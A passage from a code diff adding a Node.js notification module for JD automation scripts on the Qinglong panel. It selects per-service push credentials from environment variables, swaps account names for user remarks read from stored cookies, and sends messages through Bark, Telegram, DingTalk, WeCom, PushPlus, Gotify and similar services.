process.env.BARK_PUSH2; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH2}`; + } + if (process.env.BARK_SOUND2) { + BARK_SOUND = process.env.BARK_SOUND2; + } + if (process.env.BARK_GROUP2) { + BARK_GROUP = process.env.BARK_GROUP2; + } + } + if (process.env.TG_BOT_TOKEN2 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN2; + } + if (process.env.TG_USER_ID2 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID2; + } + if (process.env.TG_PROXY_AUTH2 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH2; + if (process.env.TG_PROXY_HOST2 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST2; + if (process.env.TG_PROXY_PORT2 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT2; + if (process.env.TG_API_HOST2 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST2; + + if (process.env.DD_BOT_TOKEN2 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN2; + if (process.env.DD_BOT_SECRET2) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET2; + } + } + + if (process.env.QYWX_KEY2 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY2; + } + + if (process.env.QYWX_AM2 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM2; + } + + if (process.env.IGOT_PUSH_KEY2 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY2; + } + + if (process.env.PUSH_PLUS_TOKEN2 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN2; + } + if (process.env.PUSH_PLUS_USER2 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER2; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip2; + } + if (process.env.PUSH_PLUS_USER_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip2; + } + if (process.env.GOTIFY_URL2) { + GOTIFY_URL = process.env.GOTIFY_URL2; + } + if (process.env.GOTIFY_TOKEN2) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN2; + } + if (process.env.GOTIFY_PRIORITY2) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY2; + } + break; + + case 3: + //==========================第三套环境变量赋值========================= + + if (process.env.GOBOT_URL3 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL3; + } + if (process.env.GOBOT_TOKEN3 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN3; + } + if (process.env.GOBOT_QQ3 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ3; + } + + if (process.env.PUSH_KEY3 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY3; + } + + if (process.env.WP_APP_TOKEN3 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN3; + } + + if (process.env.WP_TOPICIDS3 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS3; + } + + if (process.env.WP_UIDS3 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS3; + } + + if (process.env.WP_URL3 && Use_WxPusher) { + WP_URL = process.env.WP_URL3; + } + + if (process.env.BARK_PUSH3 && Use_BarkNotify) { + if (process.env.BARK_PUSH3.indexOf('https') > -1 || process.env.BARK_PUSH3.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH3; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH3}`; + } + if (process.env.BARK_SOUND3) { + BARK_SOUND = process.env.BARK_SOUND3; + } + if (process.env.BARK_GROUP3) { + BARK_GROUP = process.env.BARK_GROUP3; + } + } + if (process.env.TG_BOT_TOKEN3 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN3; + } + if (process.env.TG_USER_ID3 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID3; + } + if (process.env.TG_PROXY_AUTH3 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH3; + if (process.env.TG_PROXY_HOST3 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST3; + if (process.env.TG_PROXY_PORT3 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT3; + if (process.env.TG_API_HOST3 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST3; + + if (process.env.DD_BOT_TOKEN3 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN3; + if (process.env.DD_BOT_SECRET3) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET3; + } + } + + if (process.env.QYWX_KEY3 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY3; + } + + if (process.env.QYWX_AM3 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM3; + } + + if (process.env.IGOT_PUSH_KEY3 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY3; + } + + if (process.env.PUSH_PLUS_TOKEN3 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN3; + } + if (process.env.PUSH_PLUS_USER3 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER3; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip3; + } + if (process.env.PUSH_PLUS_USER_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip3; + } + if (process.env.GOTIFY_URL3) { + GOTIFY_URL = process.env.GOTIFY_URL3; + } + if (process.env.GOTIFY_TOKEN3) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN3; + } + if (process.env.GOTIFY_PRIORITY3) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY3; + } + break; + + case 4: + //==========================第四套环境变量赋值========================= + + if (process.env.GOBOT_URL4 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL4; + } + if (process.env.GOBOT_TOKEN4 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN4; + } + if (process.env.GOBOT_QQ4 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ4; + } + + if (process.env.PUSH_KEY4 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY4; + } + + if (process.env.WP_APP_TOKEN4 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN4; + } + + if (process.env.WP_TOPICIDS4 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS4; + } + + if (process.env.WP_UIDS4 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS4; + } + + if (process.env.WP_URL4 && Use_WxPusher) { + WP_URL = process.env.WP_URL4; + } + + if (process.env.BARK_PUSH4 && Use_BarkNotify) { + if (process.env.BARK_PUSH4.indexOf('https') > -1 || process.env.BARK_PUSH4.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH4; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH4}`; + } + if (process.env.BARK_SOUND4) { + BARK_SOUND = process.env.BARK_SOUND4; + } + if (process.env.BARK_GROUP4) { + BARK_GROUP = process.env.BARK_GROUP4; + } + } + if (process.env.TG_BOT_TOKEN4 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN4; + } + if (process.env.TG_USER_ID4 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID4; + } + if (process.env.TG_PROXY_AUTH4 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH4; + if (process.env.TG_PROXY_HOST4 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST4; + if (process.env.TG_PROXY_PORT4 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT4; + if (process.env.TG_API_HOST4 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST4; + + if (process.env.DD_BOT_TOKEN4 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN4; + if (process.env.DD_BOT_SECRET4) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET4; + } + } + + if (process.env.QYWX_KEY4 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY4; + } + + if (process.env.QYWX_AM4 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM4; + } + + if (process.env.IGOT_PUSH_KEY4 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY4; + } + + if (process.env.PUSH_PLUS_TOKEN4 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN4; + } + if (process.env.PUSH_PLUS_USER4 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER4; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip4; + } + if (process.env.PUSH_PLUS_USER_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip4; + } + if (process.env.GOTIFY_URL4) { + GOTIFY_URL = process.env.GOTIFY_URL4; + } + if (process.env.GOTIFY_TOKEN4) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN4; + } + if (process.env.GOTIFY_PRIORITY4) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY4; + } + break; + + case 5: + //==========================第五套环境变量赋值========================= + + if (process.env.GOBOT_URL5 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL5; + } + if (process.env.GOBOT_TOKEN5 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN5; + } + if (process.env.GOBOT_QQ5 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ5; + } + + if (process.env.PUSH_KEY5 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY5; + } + + if (process.env.WP_APP_TOKEN5 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN5; + } + + if (process.env.WP_TOPICIDS5 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS5; + } + + if (process.env.WP_UIDS5 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS5; + } + + if (process.env.WP_URL5 && Use_WxPusher) { + WP_URL = process.env.WP_URL5; + } + if (process.env.BARK_PUSH5 && Use_BarkNotify) { + if (process.env.BARK_PUSH5.indexOf('https') > -1 || process.env.BARK_PUSH5.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH5; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH5}`; + } + if (process.env.BARK_SOUND5) { + BARK_SOUND = process.env.BARK_SOUND5; + } + if (process.env.BARK_GROUP5) { + BARK_GROUP = process.env.BARK_GROUP5; + } + } + if (process.env.TG_BOT_TOKEN5 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN5; + } + if (process.env.TG_USER_ID5 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID5; + } + if (process.env.TG_PROXY_AUTH5 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH5; + if (process.env.TG_PROXY_HOST5 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST5; + if (process.env.TG_PROXY_PORT5 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT5; + if (process.env.TG_API_HOST5 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST5; + + if (process.env.DD_BOT_TOKEN5 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN5; + if (process.env.DD_BOT_SECRET5) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET5; + } + } + + if (process.env.QYWX_KEY5 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY5; + } + + if (process.env.QYWX_AM5 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM5; + } + + if (process.env.IGOT_PUSH_KEY5 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY5; + } + + if (process.env.PUSH_PLUS_TOKEN5 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN5; + } + if (process.env.PUSH_PLUS_USER5 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER5; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip5; + } + if (process.env.PUSH_PLUS_USER_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip5; + } + if (process.env.GOTIFY_URL5) { + GOTIFY_URL = process.env.GOTIFY_URL5; + } + if (process.env.GOTIFY_TOKEN5) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN5; + } + if (process.env.GOTIFY_PRIORITY5) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY5; + } + break; + + case 6: + //==========================第六套环境变量赋值========================= + + if (process.env.GOBOT_URL6 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL6; + } + if (process.env.GOBOT_TOKEN6 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN6; + } + if (process.env.GOBOT_QQ6 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ6; + } + + if (process.env.PUSH_KEY6 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY6; + } + + if (process.env.WP_APP_TOKEN6 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN6; + } + + if (process.env.WP_TOPICIDS6 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS6; + } + + if (process.env.WP_UIDS6 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS6; + } + + if (process.env.WP_URL6 && Use_WxPusher) { + WP_URL = process.env.WP_URL6; + } + if (process.env.BARK_PUSH6 && Use_BarkNotify) { + if (process.env.BARK_PUSH6.indexOf('https') > -1 || process.env.BARK_PUSH6.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH6; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH6}`; + } + if (process.env.BARK_SOUND6) { + BARK_SOUND = process.env.BARK_SOUND6; + } + if (process.env.BARK_GROUP6) { + BARK_GROUP = process.env.BARK_GROUP6; + } + } + if (process.env.TG_BOT_TOKEN6 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN6; + } + if (process.env.TG_USER_ID6 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID6; + } + if (process.env.TG_PROXY_AUTH6 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH6; + if (process.env.TG_PROXY_HOST6 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST6; + if (process.env.TG_PROXY_PORT6 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT6; + if (process.env.TG_API_HOST6 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST6; + + if (process.env.DD_BOT_TOKEN6 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN6; + if (process.env.DD_BOT_SECRET6) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET6; + } + } + + if (process.env.QYWX_KEY6 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY6; + } + + if (process.env.QYWX_AM6 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM6; + } + + if (process.env.IGOT_PUSH_KEY6 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY6; + } + + if (process.env.PUSH_PLUS_TOKEN6 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN6; + } + if (process.env.PUSH_PLUS_USER6 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER6; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip6; + } + if (process.env.PUSH_PLUS_USER_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip6; + } + if (process.env.GOTIFY_URL6) { + GOTIFY_URL = process.env.GOTIFY_URL6; + } + if (process.env.GOTIFY_TOKEN6) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN6; + } + if (process.env.GOTIFY_PRIORITY6) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY6; + } + break; + } + + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (text == "京东到家果园互助码:") { + ShowRemarkType = "1"; + if (desp) { + var arrTemp = desp.split(","); + var allCode = ""; + for (let k = 0; k < arrTemp.length; k++) { + if (arrTemp[k]) { + if (arrTemp[k].substring(0, 1) != "@") + allCode += arrTemp[k] + ","; + } + } + + if (allCode) { + desp += '\n' + '\n' + "ccwav格式化后的互助码:" + '\n' + allCode; + } + } + } + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.nickName = ""; + $.Remark = envs[i].remarks || ''; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //这是为了处理ninjia的remark格式 + $.Remark = $.Remark.replace("remark=", ""); + $.Remark = $.Remark.replace(";", ""); + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + if (strAuthor) + desp += '\n\n本通知 By ' + strAuthor + "\n通知时间: " + GetDateTime(new Date()); + else + desp += author + "\n通知时间: " + GetDateTime(new Date()); + + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN_hxtrip) { + console.log("hxtrip TOKEN :" + PUSH_PLUS_TOKEN_hxtrip); + } + if (PUSH_PLUS_USER_hxtrip) { + console.log("hxtrip USER :" + PUSH_PLUS_USER_hxtrip); + } + PushErrorTime = 0; + await pushPlusNotifyhxtrip(text, desp); //pushplushxtrip(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotifyhxtrip(text, desp); + } + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + wxpusherNotify(text, desp) // wxpusher + ]); +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod') { + + try { + var Uid = ""; + var UserRemark = []; + var llShowRemark = "false"; + strAuthor = ""; + if (process.env.NOTIFY_AUTHOR) { + strAuthor = process.env.NOTIFY_AUTHOR; + } + + if (process.env.WP_APP_ONE_TEXTSHOWREMARK) { + llShowRemark = process.env.WP_APP_ONE_TEXTSHOWREMARK; + } + if (WP_APP_TOKEN_ONE) { + if (TempCKUid) { + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + Uid = TempCKUid[j].Uid; + } + } + } + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + if (strAuthor) + desp += '\n\n本通知 By ' + strAuthor; + else + desp += author; + + if (llShowRemark == "true") { + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if (PtPin != $.UserName) + continue; + $.nickName = ""; + $.Remark = envs[i].remarks || ''; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + console.log("正在处理账号Remark....."); + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + //这是为了处理ninjia的remark格式 + $.Remark = $.Remark.replace("remark=", ""); + $.Remark = $.Remark.replace(";", ""); + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + text = text + " (" + $.Remark + ")"; + //console.log($.nickName+$.Remark); + console.log("处理完成,开始发送通知..."); + } + + } + + } + + } + await wxpusherNotifyByOne(text, desp); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + 